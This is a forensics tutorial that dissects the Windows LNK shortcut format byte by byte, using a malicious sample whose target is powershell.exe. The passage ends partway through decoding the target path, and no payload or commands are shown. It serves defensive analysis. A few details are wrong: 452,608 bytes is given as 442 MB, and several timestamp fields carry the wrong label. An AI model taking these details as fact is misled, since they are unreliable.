Windows Shell Link Binary Forensics

 A Windows shortcut file, known as an LNK file, is a small file with information used to access or point to another file, folder, or application. LNK files act as a direct link to reach the respective file without having the necessity of navigating via folder hierarchy. It contains the type, position, and filename of the shortcut destination, as well as the application that opens the target document. LNK files can be used to show what an attacker interacted with on the system and help identify files that are no longer on the system but had a presence. This can also be useful for indications of suspicious data exfiltration and suspicious file interaction. The LNK files, being associated with the Microsoft Windows platform, hold plenty of vital metadata information and thus prove to be excellent evidence repositories in forensic investigations. LNK File Forensics requires a thorough understanding of the shortcut files' structure to get the right trails in investigations.

The Shell Link (LNK) Binary Format

The Shell Link Binary File Format is the format of Windows files with the extension "LNK". Understanding this file format can be extremely useful for an analyst. The Shell Link Binary File Format consists of several structures, as shown in the figure below.

Figure 1: Shell Link Binary Structure

SHELL_LINK_HEADER

The SHELL_LINK_HEADER is the first structure in a Windows shortcut (.LNK) file. It contains essential metadata that defines the characteristics and behaviour of the shortcut. It has a fixed size of 76 bytes.

Figure 2: The SHELL_LINK_HEADER structure

It contains identification information, timestamps, and flags that specify the presence of optional structures. The file that will be analyzed in this post  is a .LNK shortcut found on MalwareBazaar.

Figure 3: Hex editor view of the SHELL_LINK_HEADER 

The hexadecimal view of the SHELL_LINK_HEADER is analyzed as follows:

• HeaderSize --> This field specifies the size (in bytes) of the header structure. It is a constant value that helps validate the integrity of the LNK file format. It is stored in little-endian and must be rearranged to big-endian to interpret correctly. This must be set to 0x0000004c, indicating that the SHELL_LINK_HEADER is 76 bytes in size. If otherwise, the file may be corrupted, maliciously crafted, or not a valid shortcut. Combined with Link Class Identifier (LinkCLSID) and LinkFlags, this field helps validate the file as a genuine Windows Shell Link.
• LinkCLSID --> A globally unique identifier (GUID) that must be set to {00021401-0000-0000-C000-000000000046}. If otherwise, the file may be corrupted, maliciously crafted, or not a valid shortcut. It occupies 16 bytes. The LinkCLSID is reserved by Microsoft to identify Shell Links and is consistent across all legitimate .LNK files. The GUID is broken down as follows:
• 00021401 --> ID for shell link object. This component, as shown in a hex editor (011402000, is stored in little-endian; it must be converted to big-endian by reversing the bytes to obtain this value.
• 0000 --> reserved. This component, as shown in a hex editor, is also stored in little-endian; it must also be converted to big-endian.
• 0000 --> reserved. This component, as shown in a hex editor, is also stored in little-endian; it must also be converted to big-endian.
• C000 --> Microsoft COM class (stored in big-endian).
• 000000000046 --> Microsoft's root namespace (stored in big-endian).
• LinkFlags --> A 4-byte (32-bit) bitmask located at offset 0x14 (20 in decimal) that defines which optional structures are present (or absent) in the .LNK file (such as HasLinkTargetIDList, HasArguments, IsUnicode, etc.). The value here can only be interpreted by converting it to binary and checking which bits are set as specified by Microsoft. After binary conversion and looking up set bits in the Microsoft documentation, the following optional structures were revealed to be found in this LNK file - HasTargetIdList, HasLinkInfo, HasWorkingDir, HasArguments, IsUnicode, EnableTargetMetadata.
• FileAttributes --> This is a 4-byte (32-bit) bitmask located at offset 0x18 (24 in decimal) in the file header. It represents the attributes of the target file or directory (not the shortcut file itself). These values mirror the standard Windows file attribute flags used in the file system. The value here can only be interpreted by converting it to binary and checking which bits are set as specified by Microsoft.
• CreationTime --> This represents the timestamp when the target file or folder was created. It is an 8-byte (64-bit) value located in the SHELL_LINK_HEADER at offset 0x1C (28 in decimal). It is stored as a Windows FILETIME structure in little-endian, so it has to be converted to big-endian (reversed) for proper interpretation. Reversing the CreationTime timestamp in our example results in the value 01D87E6B32BC925A. Converting this value to a human-readable timestamp gives 06/12/2022 14:46:28 UTC.
• AccessTime --> This represents the timestamp when the target file or folder was last accessed. It is an 8-byte (64-bit) value located in the SHELL_LINK_HEADER at offset 0x24 (36 in decimal). It is stored as a Windows FILETIME structure in little-endian, so it has to be converted to big-endian (reversed) for proper interpretation. Reversing the CreationTime timestamp in our example results in the value 01D88C38D86EE91D. Converting this value to a human-readable timestamp gives 06/30/2022 04:21:28 UTC.
• WriteTime --> This represents the timestamp when the target file or folder was last modified (written to). It is an 8-byte (64-bit) value located in the SHELL_LINK_HEADER at offset 0x2C (44 in decimal). It is stored as a Windows FILETIME structure in little-endian, so it has to be converted to big-endian (reversed) for proper interpretation. Reversing the CreationTime timestamp in our example results in the value 01D87E6B32BC925A. Converting this value to a human-readable timestamp gives 06/12/2022 14:46:28 UTC.
• FileSize --> This is a 4-byte (32-bit) value that indicates the size of the target file in bytes (not the size of the .LNK file itself). It is stored as an unsigned little-endian integer in the SHELL_LINK_HEADER at offset 0x34 (52 in decimal).  If the link target file is larger than 0xFFFFFFFF, this value specifies the least significant 32 bits of the link target file size. To interpret properly, its value must be converted to big-endian and parsed. Converting the value for FileSize in our example results in the value 0006E800. When converted to a human-readable value, we discover that the target file is 452608 bytes (442 MB).
• IconIndex --> This field specifies the index of the icon used to represent the shortcut. This index refers to a specific icon within the icon file or executable (.exe. .dll, etc.) pointed to by the IconLocation string. It is a 4-byte (32-bit) field located at offset 0x40 (64 in decimal) in the SHELL_LINK_HEADER and stored in little-endian. It is used in combination with the IconLocation string (if present) to determine which icon to display. If the icon file (e.g., .dll, .exe, .ico) contains multiple icons, IconIndex tells the system which one to use. Suppose this field value is 020000 in your investigation; converting to big-endian will give 0x02. This means the shortcut will display the third icon (indexing starts at 0) in the field specified by IconLocation. Sometimes, IconIndex can be negative (0xFFFFFFFF = -1). This can signal behaviour like default icon fallback or the use of a system-defined icon. In digital forensic investigations, the IconIndex field may identify what the shortcut was visually linked to (useful in social engineering, persistence, or malware analysis). Combined with IconLocation, it may hint if the shortcut was made to mimic a legitimate file (e.g., setting an icon from shell32.dll).
• ShowCommand --> This is a 4-byte (32-bit) integer field that specifies how the target application window should be displayed when the shortcut is activated. It is located at offset 0x44 (68 in decimal) in the SHELL_LINK_HEADER and stored in little-endian. This value should be one of the following:

• VALUE	MEANING
  SW_SHOWNORMAL 0x00000001	The application is open, and its window is open in a normal fashion.
  SW_SHOWMAXIMIZED 0x00000003	The application is open, and the keyboard focus is given to it, but its window is not shown.
  SW_SHOWMINNOACTIVE 0x00000007	The application is open, but its window is not shown. It is not given the keyboard focus.
  All other values MUST be treated as SW_SHOWNORMAL.

• In our example file, when converted to big endian, the ShowCommand value becomes 0x01 - SW_SHOWNORMAL.
• HotKey --> This two-byte (16-bit) field defines the keystrokes (if any) used to launch the application referenced by the shortcut key. This value is assigned to the application after it is launched so that pressing the key activates it. It is located at offset 0x48 (72 in decimal) in the SHELL_LINK_HEADER.
• LowByte (1st byte) --> An 8-bit unsigned integer that specifies a virtual key code [A-Z, 0-9, function keys] that corresponds to a key on the keyboard. This value MUST be one of the following, as defined in the Microsoft documentation.
• HighByte (2nd byte) --> An 8-bit unsigned integer that specifies bits that correspond to modifier keys on the keyboard. This value MUST be one or a combination of the following, as defined in the Microsoft documentation.
• Reserved[0] --> A value that MUST be zero.
• Reserved[1] --> A value that MUST be zero.
• Reserved[2] --> A value that MUST be zero.

LINKTARGET_IDLIST

The LINKTARGET_IDLIST is a structure within a Windows .LNK file that stores information about the target file or object that the shortcut points to.  The presence of this optional structure is specified by the HasLinkTargetIDList bit in the SHELL_LINK_HEADER (i.e., the status [set/unset] of the first bit of the 32-bit LinkFlags structure in the SHELL_LINK_HEADER). It relies on the Shell namespace's ItemIDs, which are unique identifiers within the Shell structure. This structure is crucial for navigating and accessing the target object, and it is particularly relevant in forensic analysis and threat detection because it can be used to hide or obscure the target location.

An ItemID is an element in an IDList structure. The data stored in a given ItemID is defined by the source that corresponds to the location in the target namespace of the preceding ItemIDs. This data uniquely identifies the items in that part of the namespace. 

Figure 4: LINKTARGET_IDLIST and LINKINFO structures

The Shell namespace is a hierarchical organization of files and objects within Windows, allowing the operating system to manage and access them effectively. Each file, folder, or other object in the Shell namespace is assigned a unique ItemID. These ItemIDs are used to represent the object's location within the Shell structure rather than a traditional file path. The LINKTARGET_IDLIST structure within the .LNK file stores a series of these ItemIDs. This list of ItemIDs effectively acts as a pointer to the target file or object, allowing the Windows operating system to locate and open the intended resource when the shortcut is activated. Unlike a simple file path, LINKTARGET_IDLIST enables the shortcut to function even if the target file or directory is moved or renamed, as the ItemIDs remain valid within the Shell namespace.

Malware authors might manipulate the LINKTARGET_IDLIST to make a shortcut point to a seemingly harmless target, actually launching a malicious program or script. The use of ItemIDs in LINKTARGET_IDLIST can make it more challenging for forensic analysts to determine the exact location of the target file or object, as the path is not directly stored in the shortcut file. Forensic tools and security software often examine the LINKTARGET_IDLIST to understand the target of a shortcut and identify potentially malicious behaviour.

Figure 5: Hex editor view of the LINKTARGET_IDLIST structure

• ListSize --> This is a 2-byte value located at offset 0x4c (76 in decimal), right after the SHELL_LINK_HEADER structure. It tells us the total size (in bytes) of the entire IDList structure. This value is stored in little-endian and must be converted to big-endian to ascertain the true value. The ListSize in the above figure, after converting to big-endian (0205), is 525 bytes. After reading this value, a parser will know how many bytes to read to get all ItemIDs. Anomalies in ListSize can indicate corruption or tampering.
• IDList --> This is a variable-size array of shell items that contains information about the target file. Each ItemID in the list starts with its own 2-byte size field and is parsed in sequence. You iterate through the data by reading ItemIDSize and skipping forward by that many bytes. You will repeat this process until you reach the end of the ListSize region, or you hit a 2-byte terminal ID (0x00000). The LNK file in my example has 7 IDLists (IDList[0-6]). The IDLists are analyzed as follows:
• IDList[0] --> This is the first item in the LINKTARGET_IDList. It represents a Shell Item (e.g., drive folder, or special location like "This PC"). Here is a breakdown of this value in our LNK analysis file.
• 0x1400 --> The size of the IDList entry. This has to be converted to big endian (0x0014) for correct interpretation.  The size in our case is 20 bytes.
• 0x1F --> The class type indicator of the IDList entry. The type in our case is ROOT. Other values you may encounter include VOLUME (0x20 - 0x2F), FOLDER (0x30-0x3F), NETWORK (0x40 - 0x4F), COMPRESSED (0x50  - 0x5F), URI (0x61), CONTROL_PANEL (0x71).
• 0x50 --> SortIndex of the IDList entry type. This value in our case corresponds to MY_COMPUTER or "THIS PC". Other values you may encounter include INTERNET_EXPLORER1 (0x00), LIBRARIES (0x42), USERS (0x44), MY_DOCUMENTS (0x48), MY_NETWORK_PLACES/NETWORK (0x58), RECYCLE_BIN (0x60), INTERNET_EXPLORER2 (0x68), UNKNOWN (0x70), MY_GAMES (0x80).
•  E04FD020EA3A6910A2D808002B30309D --> This is the 16-byte GUID CLSID associated with the IDList entry type's SortIndex. This value is stored in little-endian up to the 8th byte, and this must be rewritten in big-endian for interpretation. This gives us a GUID CLSID of {20D04FE0-3AEA-1069-A2D8-08002B30309D}. One of the popular sources and databases of known Windows CLSIDs is the Windows Registry. You can look up your CLSID values in the following keys: HKEY_CLASSES_ROOT\CLSID\{GUID} or HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID.
• 
  

  

  Figure 6: GUID CLSID corresponds to 'THIS PC'

• IDList[1] --> This is the second Shell item entry in the LINKTARGET_IDLIST of the .LNK file. This is the next ItemID following IDList[0], and it continues building the target path in the Shell Namespace. The IDList[1] values in our case file are broken down as follows:
• 0x1900 --> The size (in bytes) of the IDList entry (ItemIDSize). After converting to big-endian (0019), we obtain a size of 25 bytes.
• 0x2F --> The type indicator of the IDList entry. The type in our case is VOLUME.
• 0x433A5C00000000000000000000000000000000000000 --> This is the ItemID data. This (variable) 22-byte data contains Unicode-encoded text, which is broken down as follows:
• 43 (67 in decimal) --> C
• 3A (58 in decimal) --> :
• 5C (92 in decimal) --> \
• 00 (0 in decimal) --> \0
• The decoded string gives us C:\. This is the next element in the logical path from "This PC" according to our sample file. The path is building up step by step using the Shell Namespace logic.
• IDList[2] --> This is the third Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path as defined in the Shell Namespace, right after IDList[0] and IDList[1]. This value in our case file is broken down as follows:
• 0x5600 --> This is the size (in bytes) of the IDList entry. Re-arranging to big endian, we obtain the value 0x0056, corresponding to 86 bytes.
• 0x31 --> The type indicator of the IDList entry. This denotes a directory object (subfolder or shell folder).
• 0x00 --> Unknown.
• 0x00000000 --> FileSize. This value is 0 in this case.
• 0xDE542E11 -->  The last modified time stored in DOSDATETIME. When converted to human-readable format, it yields 2022-06-30 02:09:28.0000000 (Local time).
• 0x1000 --> File attributes. This corresponds to FILE_ATTRIBUTE_DIRECTORY in this sample LNK file.
• 0x57696E646F777300 --> This is the short name for the directory. A Unicode-encoded string that corresponds to Windows as broken down below:
• 57 (87 in decimal) --> W
• 69 (105 in decimal) --> i
• 6E (110 in decimal) --> n
• 64 (100 in decimal) -->d
• 6F (111 in decimal) --> o
• 77 (119 in decimal) --> w
• 73 (115 in decimal) --> s
• 00 (0) in decimal --> \0
• The remaining values constitute the ExtraDataBlock information, and they are broken down as follows:
• 0x4000 --> Size (in bytes). When converted to big endian gives 64 bytes.
• 0x0900 --> Version number. This must be converted to big endian (0x0009)
• 0x0400EFBE --> Signature
• 0x874F7748 --> DOSDATETIME Creation timestamp of the directory. When converted to human-readable time, it gives us 12/07/2019 09:03:46 UTC
• 0xDE546B21 --> DOSDATETIME Last Accessed timestamp of the directory. When converted to human-readable time, it gives us 06/30/2022 04:11:22 UTC
• 0x2E00 --> Identifier. It gives the value 46 in decimals after rearranging it to big-endian.
• 0x0000 --> Unknown
• 0x9CBC020000000300 -->FileReference.
• 0x0000000000000000 --> Unknown
• 0x0000 --> LongStringSize.
• 0x00000000 --> Unknown
• 0x4B698E00 --> Unknown
• 0x570069006E0064006F00770073000000 --> This is the long name for the directory. A Unicode-encoded string that corresponds to Windows as broken down below:
• 5700 -->W (When rewritten in big-endian, expressed in decimal, and converted to corresponding Unicode character).
• 6900 --> i
• 6E00 --> n
• 6400 --> d
• 6F00 --> o
• 7700 --> w
• 7300 --> s
• 0000 -> \0
• 0x1600 --> Version offset.
• IDList[3] -->This is the fourth Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path defined in the Shell Namespace after the previous IDList items.
• 0x5A00 --> This is the size (in bytes) of the IDList entry. Re-arranging to big endian, we obtain the value 005A, corresponding to 90 bytes.
• 0x31 --> The type indicator of the IDList entry. This denotes a directory object (subfolder or shell folder).
• 0x00 --> Unknown.
• 0x00000000 --> FileSize. This value is 0 in this case.
• 0xDE547719 -->  Modified time stored in DOSDATETIME. When converted to human-readable format, it yields 2022-06-30 03:11:46 (UTC).
• 0x1000 --> File attributes. This corresponds to FILE_ATTRIBUTE_DIRECTORY in this sample LNK file.
• 0x53797374656D333200 --> This is the short name for the directory. A Unicode-encoded string that corresponds to System32 as broken down below:
• 53 (83 in decimal)  --> S
• 79 (121 in decimal) --> y
• 73 (115 in decimal) --> s
• 74 (116 in decimal) --> t
• 65 (101 in decimal) --> e
• 6D (109 in decimal) --> m
• 33 (51 in decimal) --> 3
• 32 (50 in decimal) --> 2
• 00 (0 in decimal) -->\0
• 0x00 --> Align
• The remaining values constitute the ExtraDataBlock information, and they are broken down as follows:
• 0x4200 --> Size (in bytes). When converted to big endian gives 66 bytes.
• 0x0900 --> Version number. This must be converted to big endian (0x0009)
• 0x0400EFBE --> Signature
• 0x874F7748 --> DOSDATETIME Creation timestamp of the directory. When converted to human-readable time, it gives us 12/07/2019 09:03:46 UTC
• 0xDE547C21 --> DOSDATETIME Last Accessed timestamp of the directory. When converted to human-readable time, it gives us 06/30/2022 04:11:56 UTC
• 0x2E00 --> Identifier. It gives the value 46 in decimals after rearranging it to big-endian.
• 0x0000 --> Unknown
• 0x83C4020000000300 -->FileReference.
• 0x0000000000000000 --> Unknown
• 0x0000 --> LongStringSize.
• 0x00000000 --> Unknown
• 0x997D4000 --> Unknown
• 0x530079007300740065006D00330032000000 --> This is the long name for the directory. A Unicode-encoded string that corresponds to System32 as broken down below:
• 5300 --> S (When rewritten in big-endian, expressed in decimal, and converted to corresponding Unicode character).
• 7900 --> y
• 7300 --> s
• 7400 --> t
• 6500 --> e
• 6D00 --> m
• 3300 --> 3
• 3200 --> 2
• 0000 --> \0
• 0x1800 --> version offset
• IDList[4] --> This is the fifth Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path as defined in the Shell Namespace after the previous IDList items.
• 0x7400 --> This is the size (in bytes) of the IDList entry. Re-arranging to big endian, we obtain the value 0074, corresponding to 116 bytes.
• 0x31 --> The type indicator of the IDList entry. This denotes a directory object (subfolder or shell folder).
• 0x00 --> Unknown.
• 0x00000000 --> FileSize. This value is 0 in this case.
• 0x874FDB49 -->  Modified time stored in DOSDATETIME. When converted to human-readable format, it yields 2019-12-07 09:14:54 (UTC).
• 0x1000 --> File attributes. This corresponds to FILE_ATTRIBUTE_DIRECTORY in this sample LNK file.
• 0x57696E646F7773506F7765725368656C6C00 --> This is the short name for the directory. A Unicode-encoded string that corresponds to WindowsPowershell when broken down as was done in previous steps:
• The remaining values constitute the ExtraDataBlock information, and they are broken down as follows:
• 0x5400 --> Size (in bytes). When converted to big endian gives 84 bytes.
• 0x0900 --> Version number. This must be converted to big endian (0x0009)
• 0x0400EFBE --> Signature
• 0x874FDB49 --> DOSDATETIME Creation timestamp of the directory. When converted to human-readable time, it gives us 12/07/2019 09:14:54 UTC
• 0xDE54AD08 --> DOSDATETIME Last Accessed timestamp of the directory. When converted to human-readable time, it gives us 06/30/2022 01:05:26 UTC
• 0x2E00 --> Identifier. It gives the value 46 in decimals after rearranging it to big-endian.
• 0x0000 --> Unknown
• 0x81C8020000000300 -->FileReference.
• 0x0000000000000000 --> Unknown
• 0x0000 --> LongStringSize.
• 0x00000000 --> Unknown
• 0xA4EEDA00 --> Unknown
• 0x570069006E0064006F007700730050006F007700650072005300680065006C006C000000 --> This is the long name for the directory. A Unicode-encoded string that, when subjected to the same conversion procedure as previously done, results in the string WindowsPowershell.
• 0x2000 --> Version offset
• IDList[5] --> This is the sixth Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path defined in the Shell Namespace after the previous IDList items.
• 0x4E00 --> This is the size (in bytes) of the IDList entry. Re-arranging to big endian, we obtain the value 004E, corresponding to 78 bytes.
• 0x31 --> The type indicator of the IDList entry. This denotes a directory object (subfolder or shell folder).
• 0x00 --> Unknown.
• 0x00000000 --> FileSize. This value is 0 in this case.
• 0xCD54721C -->  Modified time stored in DOSDATETIME. When converted to human-readable format, it yields 2022-06-13 03:35:36 (UTC).
• 0x1000 --> File attributes. This corresponds to FILE_ATTRIBUTE_DIRECTORY in this sample LNK file.
• 0x76312E3000 --> This is the short name for the directory. A Unicode-encoded string that corresponds to v1.0 when broken down as was done in previous steps:
• 0x00 --> Align.
• The remaining values constitute the ExtraDataBlock information, and they are broken down as follows:
• 0x3A00 --> Size (in bytes). When converted to big endian gives 58 bytes.
• 0x0900 --> Version number. This must be converted to big endian (0x0009)
• 0x0400EFBE --> Signature
• 0x874FDB49 --> DOSDATETIME Creation timestamp of the directory. When converted to human-readable time, it gives us 12/07/2019 09:14:54 UTC
• 0xDE547418 --> DOSDATETIME Last Accessed timestamp of the directory. When converted to human-readable time, it gives us 06/30/2022 03:03:40 UTC
• 0x2E00 --> Identifier. It gives the value 46 in decimals after rearranging it to big-endian.
• 0x0000 --> Unknown
• 0x82C8020000000300 -->FileReference.
• 0x0000000000000000 --> Unknown
• 0x0000 --> LongStringSize.
• 0x00000000 --> Unknown
• 0xAB0AEA00 --> Unknown
• 0x760031002E0030000000 --> This is the long name for the directory. A Unicode-encoded string that when subjected to the same conversion procedure as previously done results in the string v1.0.
• 0x1400 --> Version offset
• IDList[6] --> This is the seventh Shell item in the LINKTARGET_IDLIST of the Windows LNK file. This continues the shortcut's path as defined in the Shell Namespace after the previous IDList items.
• 0x6C00 --> This is the size (in bytes) of the IDList entry. Re-arranging to big endian, we obtain the value 006C, corresponding to 108 bytes.
• 0x32 --> The type indicator of the IDList entry. This denotes a FILE object.
• 0x00 --> Unknown.
• 0x00E80600 --> FileSize. This is the size (in bytes) of the file. It is stored in little-endian, and must therefore be rewritten in big-endian and converted to decimal for correct interpretation. This gives us 452,608 bytes.
• 0xCC54CF75 -->  Last modified time stored in DOSDATETIME. When converted to human-readable format, it yields 2022-06-12 14:46:30 (UTC).
• 0x1000 --> File attributes. This corresponds to FILE_ATTRIBUTE_ARCHIVE in this sample LNK file.
• 0x706F7765727368656C6C2E65786500 --> This is the short name for the directory. A Unicode-encoded string that corresponds to powershell.exe when broken down as was done in previous steps:
• 0x00 --> Align
• The remaining values constitute the ExtraDataBlock information, and they are broken down as follows:
• 0x4E00 --> Size (in bytes). When converted to big endian gives 78 bytes.
• 0x0900 --> Version number. This must be converted to big endian (0x0009)
• 0x0400EFBE --> Signature
• 0xCC54CF75 --> DOSDATETIME Creation timestamp of the directory. When converted to human-readable time, it gives us 06/12/2022 14:46:30 UTC
• 0xDE547820 --> DOSDATETIME Last Accessed timestamp of the directory. When converted to human-readable time, it gives us 06/30/2022 04:03:48 UTC
• 0x2E00 --> Identifier. It gives the value 46 in decimals after rearranging it to big-endian.
• 0x0000 --> Unknown
• 0xE3EB060000000200 -->FileReference.
• 0x0000000078000000 --> Unknown
• 0x0000 --> LongStringSize.
• 0x00000000 --> Unknown
• 0xA614E100 --> Unknown
• 0x70006F007700650072007300680065006C006C002E006500780065000000 --> This is the long name for the directory. A Unicode-encoded string that, when subjected to the same conversion procedure as previously done, results in the string powershell.exe.
• 0x1E00 --> Version offset.
• 0x0000 --> TerminalID.

LinkInfo

The LinkInfo component contains additional information about the .lnk file. The LinkInfo structure specifies information necessary to resolve a link target if it is not found in its original location. This includes information about the volume that the target was stored on, the mapped drive letter, and a Universal Naming Convention (UNC) form of the path if one existed when the link was created. The presence of this optional structure is specified by the HasLinkInfo bit in the SHELL_LINK_HEADER (i.e., the status [set/unset] of the second bit of the 32-bit LinkFlags structure in the SHELL_LINK_HEADER). This structure is particularly useful in digital forensics for understanding how and where a file was accessed.

Figure 7: Hex view of the LinkInfo structure

• LinkInfoSize (Offset 0x00) -->  A 4-byte (32-bit), unsigned integer that specifies the size, in bytes, of the LinkInfo structure. All offsets specified in this structure MUST be less than this value, and all strings contained in this structure MUST fit within the extent defined by this size. This value must be rearranged in big-endian for correct interpretation. In our sample file, this value is 0x68 whose decimal value is 104 bytes.
• LinkInfoHeaderSize (Offset 0x04) --> A 32-bit, unsigned integer that specifies the size, in bytes, of the LinkInfo header section, which is composed of the LinkInfoSize, LinkInfoHeaderSize, LinkInfoFlags, VolumeIDOffset, LocalBasePathOffset, CommonNetworkRelativeLinkOffset, CommonPathSuffixOffset fields, and, if included, the LocalBasePathOffsetUnicode and CommonPathSuffixOffsetUnicode fields.

• Value	Meaning
  0x0000001C	Offsets to the optional fields are not specified.
  0x00000024 ≤ value	Offsets to the optional fields are specified.

• LinkInfoFlags (Offset 0x08) --> Four-byte (32-bit) flags that specify whether the VolumeID, LocalBasePath, LocalBasePathUnicode, and CommonNetworkRelativeLink fields are present in this structure. 
• 
  
  
• The value of 0x1 in our sample LNK file (i.e. only first bit [bit A] is set) means that the VolumeID and LocalBasePath fields are present, and their locations are specified by the values of the VolumeIDOffset and LocalBasePathOffset fields respectively.
• VolumeIDOffset (Offset 0x0C) --> This is a 4-byte (32-bit), unsigned integer that specifies the location of the VolumeID field. If the VolumeIDAndLocalBasePath flag is set, this value is an offset, in bytes, from the start of the LinkInfo structure; otherwise, this value MUST be zero. In our sample file, this field is present, and has a value of 0x1C (28 in decimal). It means the Volume ID starts at offset 0x1C (or 28 in decimal) from the start of the LinkInfo structure.
• LocalBasePathOffset (Offset 0x10) --> This is a 4-byte (32-bit), unsigned integer that specifies the location of the LocalBasePath field (i.e. offset to the base path of the target file). If the VolumeIDAndLocalBasePath flag is set, this value is an offset, in bytes, from the start of the LinkInfo structure; otherwise, this value MUST be zero. In our sample file, this field is present, and has a value of 0x2D (45 in decimal). It means the local path starts at offset 0x2D (or 45 in decimal) from the start of the LinkInfo structure.
• CommonNetworkRelativeLinkOffset (Offset 0x14) --> This is a 4-byte (32-bit), unsigned integer that specifies the location of the CommonNetworkRelativeLink field (i.e, offset to the network share information). If the CommonNetworkRelativeLinkAndPathSuffix flag is set, this value is an offset, in bytes, from the start of the LinkInfo structure; otherwise, this value MUST be zero. In our sample file, the CommonNetworkRelativeLinkAndPathSuffix flag is not set, hence this value is not present as indicated by the hex bits 0x00000000.
• CommonPathSuffixOffset (Offset 0x18) --> This is a 4-byte (32-bit), unsigned integer that specifies the location of the CommonPathSuffix field (filename). This value is an offset, in bytes, from the start of the LinkInfo structure. In our sample file, this field has a value of 0x67 (103 in decimal). This means that the filename starts at offset 0x67 (103 in decimal) from the start of the LinkInfo structure.
• LocalBasePathOffsetUnicode --> This is an optional, 4-byte (32-bit), unsigned integer that specifies the location of the LocalBasePathUnicode field. If the VolumeIDAndLocalBasePath flag is set, this value is an offset, in bytes, from the start of the LinkInfo structure; otherwise, this value MUST be zero. This field can be present only if the value of the LinkInfoHeaderSize field is greater than or equal to 0x00000024. This field is not present in our sample LNK file.
• CommonPathSuffixOffsetUnicode --> This is an optional, 4-byte (32-bit), unsigned integer that specifies the location of the CommonPathSuffixUnicode field. This value is an offset, in bytes, from the start of the LinkInfo structure. This field can be present only if the value of the LinkInfoHeaderSize field is greater than or equal to 0x00000024. This field is not present in our sample LNK file.
• VolumeID --> The VolumeID structure specifies information about the volume that the link target was on when the link was created. This field is present if the VolumeIDAndLocalBasePath flag is set. In our sample file, this field has a value of 110000000300000090962EBA1000000000. This must be decoded by rearranging in big-endian, and the result interpreted as shown below.
• 0x11000000 --> 0x00000011 (big-endian) --> 17 (decimal) --> VolumeIDSize: A 4-byte (32-bit), unsigned integer that specifies the size, in bytes, of this structure. This value MUST be greater than 0x00000010. All offsets specified in this structure MUST be less than this value, and all strings contained in this structure MUST fit within the extent defined by this size.
• 0x03000000 --> 0x00000003 (big-endian) --> DRIVE_FIXED--> DriveType:  A 4-byte (32-bit), unsigned integer that specifies the type of drive the link target is stored on. This value MUST be one of the following:

• Value	Meaning
  DRIVE_UNKNOWN 0x00000000	The drive type cannot be determined.
  DRIVE_NO_ROOT_DIR 0x00000001	The root path is invalid; for example, there is no volume mounted at the path.
  DRIVE_REMOVABLE 0x00000002	The drive has removable media, such as a floppy drive, thumb drive, or flash card reader.
  DRIVE_FIXED 0x00000003	The drive has fixed media, such as a hard drive or flash drive.
  DRIVE_REMOTE 0x00000004	The drive is a remote (network) drive.
  DRIVE_CDROM 0x00000005	The drive is a CD-ROM drive.
  DRIVE_RAMDISK 0x00000006	The drive is a RAM disk.

• 0x90962EBA --> 0xBA2E9690 (big-endian) --> DriveSerialNumber:  A 4-byte (32-bit), unsigned integer that specifies the drive serial number of the volume the link target is stored on.
• 0x10000000 --> 0x00000010 (big-endian) --> 16 (decimal) --> VolumeLabelOffset: A 4-byte (32-bit), unsigned integer that specifies the location of a string that contains the volume label of the drive that the link target is stored on. This value is an offset, in bytes, from the start of the VolumeID structure to a NULL-terminated string of characters, defined by the system default code page. The volume label string is located in the Data field of this structure. If the value of this field is 0x00000014, it MUST be ignored, and the value of the VolumeLabelOffsetUnicode field MUST be used to locate the volume label string.
• VolumeLabelOffsetUnicode: An optional, 4-byte (32-bit), unsigned integer that specifies the location of a string that contains the volume label of the drive that the link target is stored on. This value is an offset, in bytes, from the start of the VolumeID structure to a NULL-terminated string of Unicode characters. The volume label string is located in the Data field of this structure. If the value of the VolumeLabelOffset field is not 0x00000014, this field MUST NOT be present; instead, the value of the VolumeLabelOffset field MUST be used to locate the volume label string.
• 00 --> Data: A buffer of data that contains the volume label of the drive as a string defined by the system default code page or Unicode characters, as specified by preceding fields.
• LocalBasePath --> An optional, NULL–terminated ASCII string, defined by the system default code page, which is used to construct the full path to the link item or link target by appending the string in the CommonPathSuffix field. This field is present if the VolumeIDAndLocalBasePath flag is set. This field in our sample LNK file has its value as seen in Figure 7. When decoded, it gives C:\Windows\System32\WindowsPowerShell\powershell.exe as shown below:
• 0x43 --> 67 (decimal) --> C
• 0x3A --> 58 (decimal) --> :
• 0x5C --> 92 (decimal) --> \
• 0x57 --> 87 (decimal) --> W
• 0x69 --> 105 (decimal) --> i
• 0x6E --> 110 (decimal) --> n
• 0x64 --> 100 (decimal) --> d
• 0x6F --> 111 (decimal) --> o
• 0x77 --> 119 (decimal) --> w
• 0x73 --> 115 (decimal) --> s
• 0x5C --> 92 (decimal) --> \
• 0x53 --> 83 (decimal)  --> S
• 0x79 --> 121 (decimal) --> y
• 0x73 --> 115 (decimal) --> s
• 0x74 --> 116 (decimal) --> t
• 0x65 --> 101 (decimal) --> e
• 0x6D --> 109 (decimal) --> m
• 0x33 --> 51 (decimal) --> 3
• 0x32 --> 50 (decimal) --> 2
• 0x5C --> 92 (decimal) --> \
• 0x57 --> 87 (decimal) --> W
• 0x69 --> 105 (decimal) --> i
• 0x6E --> 110 (decimal) --> n
• 0x64 --> 100 (decimal) --> d
• 0x6F --> 111 (decimal) --> o
• 0x77 --> 119 (decimal) --> w
• 0x73 --> 115 (decimal) --> s
• 0x50 --> 80 (decimal) --> P
• 0x6F --> 111 (decimal) --> o
• 0x77 --> 119 (decimal) --> w
• 0x65 --> 101 (decimal) --> e
• 0x72 --> 114 (decimal) --> r
• 0x53 --> 83 (decimal) --> S
• 0x68 --> 104 (decimal) --> h
• 0x65 --> 101 (decimal) --> e
• 0x6C --> 108 (decimal) --> l
• 0x6C --> 108 (decimal) --> l
• 0x5C --> 92 (decimal) --> \
• 0x76 --> 118 (decimal) --> v
• 0x31 --> 49 (decimal) --> 1
• 0x2E --> 46 (decimal) --> .
• 0x30 --> 48 (decimal) --> 0
• 0x5C --> 92 (decimal) --> \
• 0x70 --> 112 (decimal) --> p
• 0x6F --> 111 (decimal) --> o
• 0x77 --> 119 (decimal) --> w
• 0x65 --> 101 (decimal) --> e
• 0x72 --> 114 (decimal) --> r
• 0x73 --> 115 (decimal) --> s
• 0x68 --> 104 (decimal) --> h
